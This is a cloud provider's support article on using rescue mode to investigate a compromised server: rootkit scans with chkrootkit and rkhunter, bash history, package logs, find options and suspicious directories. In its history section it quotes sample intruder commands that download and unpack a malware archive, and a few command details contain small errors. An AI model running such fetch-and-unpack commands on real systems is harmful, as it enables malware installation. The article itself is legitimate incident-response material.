Check for a security compromise: Rescue mode investigation

  • Last updated on: 2018-10-26
  • Authored by: Rose Contreras

In the article Check for a security compromise: Back doors and intruders, you learned some basic techniques for collecting the information needed to identify intruders who have compromised your server. This article describes how to use the Cloud Control Panel’s Rescue Mode to take a closer look at your system. You can use rescue mode to better understand how your server was compromised and to identify non-compromised files before backing up the data.

Activate rescue mode

Because your Cloud Server’s operating system might also be compromised, you cannot rely on it. The intruder could have compromised binaries such as ‘ls,’ ‘find,’ and ‘netstat,’ so their output could mislead you. Consequently, you must use a different operating system environment to safely investigate the compromise.

You can do this by using the rescue mode feature provided in the Cloud Control Panel. For instructions and more information, see Rescue Mode.

While your server is in rescue mode, you can perform the following actions to locate the source of the compromise.

Scan for rootkits

We recommend that you install and use the following tools to scan your system for rootkits.

Scan for rootkits with chkrootkit

chkrootkit looks for known signatures in compromised binary systems. For example, some compromised versions of ps have “/dev/ptyp” inside them. We recommend installing chkrootkit by using your package manager rather than compiling from source.

  1. Run the following command:

     apt-get install chkrootkit
    
  2. Run chkrootkit against the mounted file system of the Cloud Server:

     chkrootkit -r /mnt/demo
    

The following messages are printed by chkrootkit during its tests:

  • INFECTED - the test has identified a command probably modified by a known rootkit
  • not infected - the test didn’t find any known rootkit signature
  • not tested - the test was not performed

    This could happen in the following situations: - The test is OS specific - The test depends on an external program that is not available - Some specific command line options are given (for example, -r)

  • not found - the command to be tested is not found
  • Vulnerable but disabled - the command is infected

For more options and information on using chkrootkit, see http://www.chkrootkit.org/README.

Scan for rootkits with rkhunter

Rootkit Hunter (rkhunter) checks systems against a database of known rootkits. It can also check other system files to make sure they are in line with expected properties and values.

  1. Log in to your terminal application and change to your sources directory:

     cd ~/sources
    
  2. Download the latest version of rkhunter from the SourceForge download area:

     http://sourceforge.net/projects/rkhunter/files/
    
  3. After you install rkhunter, run it against /mnt/demo.

     rkhunter -c -r /mnt/demo
    

rkhunter produces warnings during the tests that indicate where a file has deviated from expected defaults. Following the test, you can check the log to see more detailed information about which files produced the warning. For more options and information on using rkhunter, see http://rkhunter.cvs.sourceforge.net/viewvc/rkhunter/rkhunter/files/README.

Check last commands

To get an idea of how the Cloud Server security was breached, check which users ran commands before the Cloud Server was compromised.

The .bashhistory file contains the last commands used with the Bash shell. You need to check the .bashhistory files in each user’s home directory. The most important .bashhistory file is the one belonging to root: /root/.bashhistory.

A compromised Cloud Server might have entries like the following ones:

wget http://malware.tar.gz
gunzip malware.tar.gz
tar xf malware.tar

Check installed packages

All changes to the packaging system are stored in /var/log/dpkg.log on Debian-based distributions. Check this file for any suspicious activity like installed or removed packages, or a modified bus.

Run the following command to show the last 50 lines of the dpkg.log file:

tail 50 /mnt/demo/var/log/dpkg.log

Use the find command

The find command is usually used to find filenames with specific patterns. However, you can also use it to find the files that were modified or accessed within a specific time period.

For example, you can find all files in /etc owned by root that have been modified within the last two days, as follows:

find /mnt/demo/etc -user root -mtime -2

Available options are as follows:

-atime: when the file was last accessed
-ctime: when the file's permissions were last changed
-mtime: when the file's data was last modified

Note the minus sign in front of ‘2’ in the preceding example. The ‘time’ options for the find command are expressed in 24-hour increments, and the symbol used in front of the number can indicate less than or greater than. Thus ‘-2’ means that you want to find files that were modified within the last two days. If you want to find files that were modified more than 2 days ago, use +2:

find /mnt/demo/etc -user root -mtime +2

There are also versions of the atime, ctime, and mtime arguments that measure time in minutes:

-amin: when (in minutes) the file was last accessed
-cmin: when (in minutes) the file's permissions were last changed
-mmin: when (in minutes) the file's data was last modified

Example

Find all of the files in your Cloud Server owned by the demo user that have been accessed within the last five minutes:

find /mnt/demo -user demo -amin -5

The following list of find command options might be useful while investigating the compromised Cloud Server investigation:

-nouser: shows output not associated with an existing userid
-nogroup: shows output not associated with an existing groupid
-links n: file has n links
-newer file: file was modified more recently than file
-perm mode: file has mode permissions

Check logs and suspicious files

You can find an intruder by checking for suspicious files in /tmp, /var/tmp, /dev/shm, /var/spool/samba, /var/spool/squid, and /var/spool/cron.

You can also look at log files in the /var/log directory. For example, auth.log records user login information, including IP addresses.

Summary

In Checking for a security compromise: Backdoors and Intruders, you learned some techniques to use to discover back doors and track intruders on your Cloud Server. This will help you to avoid the situation or mistake that led to the compromise, minimizing the chance of future compromises. In this article, you learned how to investigate your Cloud Server in rescue mode.

Whether it is caused by viruses, file corruption, machine failure, or other unforeseen mishaps, the possibility of data loss is real. To avoid the disruption such a loss can cause, back up your files regularly. Following are some options to help you secure your files:

  • Rackspace Cloud Backup is a good choice for Cloud Servers customers. It is fully integrated with Cloud Servers, and is a file-based backup alternative to whole image server backup.
  • For those who prefer to do it themselves, see Back up your files with rsync.

Continue the conversation in the Rackspace Community.